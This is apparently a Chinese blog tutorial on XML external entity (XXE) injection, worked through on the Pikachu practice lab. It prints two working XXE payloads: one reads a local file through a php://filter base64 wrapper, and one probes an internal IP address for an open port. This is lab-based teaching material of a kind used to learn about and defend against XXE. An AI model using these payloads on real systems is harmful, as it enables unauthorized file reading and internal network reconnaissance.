XXE漏洞详解(三)——XXE漏洞实际运用
漏洞 详解 运用 实际 XXE
2023-09-14 09:01:43 时间
今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE漏洞详解(三)——XXE漏洞实际运用。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、XXE漏洞简介
XXE漏洞是External Entiry Injection,即XML外部实体注入漏洞。XXE漏洞主要是发生在应用程序解析XML输入时,没有禁止加载外部实体,从而导致任意文件读取、系统命令执行、内网端口探测等危害。
二、XXE漏洞pikachu靶场介绍
pikachu靶场XXE漏洞如下所示:
我们简单输入一个XML格式的数据:
<asd>asd</asd>
提交后如下所示:
从上图中可以看出,该靶场可以解析我们输入的XML格式的数据,并显示在页面上。
我们查看页面PHP源代码如下所示:
在该代码中,使用了simplexml_load_string()函数,这个函数的作用就是输入一个符合XML格式的数据,然后将该数据转化为一个XML对象实体,然后返回这个实体的键和值。
三、XXE漏洞pikachu靶场实战
最后,我们针对pikachu靶场,利用XXE漏洞,来进行实战演练。
(一)利用XXE漏洞读取文件
XXE漏洞读取文件EXP构造如下所示:
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=xxe_1.php">
]>
<asd>&xxe;</asd>
我们将该exp写入到api的输入框中并提交,结果如下所示:
从上图中可以看出,我们能够利用该exp实现指定文件读取。
(二)利用XXE漏洞进行内网探测
同样的,我们也可以稍微修改上述exp,使得请求的文件是内网文件,借此实现内网探测的目的。exp如下所示:
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.136.1">
]>
<asd>&xxe;</asd>
如果内网指定IP地址存在并开放了80端口,则上述exp正常返回如下所示:
而如果该IP地址不存在,或者没有开放80端口,那么上述页面会刷新一段时间,并且最后返回失败。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200
相关文章
- 干货 | 命令执行漏洞和代码执行漏洞详解
- 超详细本地文件包含漏洞详解(小白也能懂!)
- CVE-2014-6324(MS14-068)域内权限提升漏洞复现(失败)
- fastjson漏洞复现
- SSRF漏洞详解 一文了解SSRF漏洞
- apache struts2漏洞 但是系统没有用_tomcat ajp漏洞
- 任意密码重置漏洞(身份认证缺失)
- Weblogic SSRF漏洞(CVE-2014-4210)
- 前端中存在的变量劫持漏洞
- 暴力破解漏洞
- Nightingale:一款针对漏洞评估和渗透测试(VAPT)的Docker渗透测试环境
- 详解模板注入漏洞(上)
- SSRF漏洞挖掘原理详解
- Java处理XSS漏洞的工具类代码详解编程语言
- 1 亿银行用户信息失窃之谜:黑客是怎么找到漏洞的?
- 新姿势之Docker Remote API未授权访问漏洞分析和利用
- 安全研究人员蓄意引入漏洞?该道歉的是这些自媒体们!
- 可导致互联网出现大面积瘫痪的DNS漏洞
- Nginx漏洞利用与安全加固方法
- :分析SQL Server漏洞及如何防范(sqlserver 漏洞)
- Zerodium公布新价格,iPhone漏洞价值150万美元
- 黑莓软件存在漏洞却闭口不言 许多汽车恐被攻击
- 跨站脚本执行漏洞详解与防护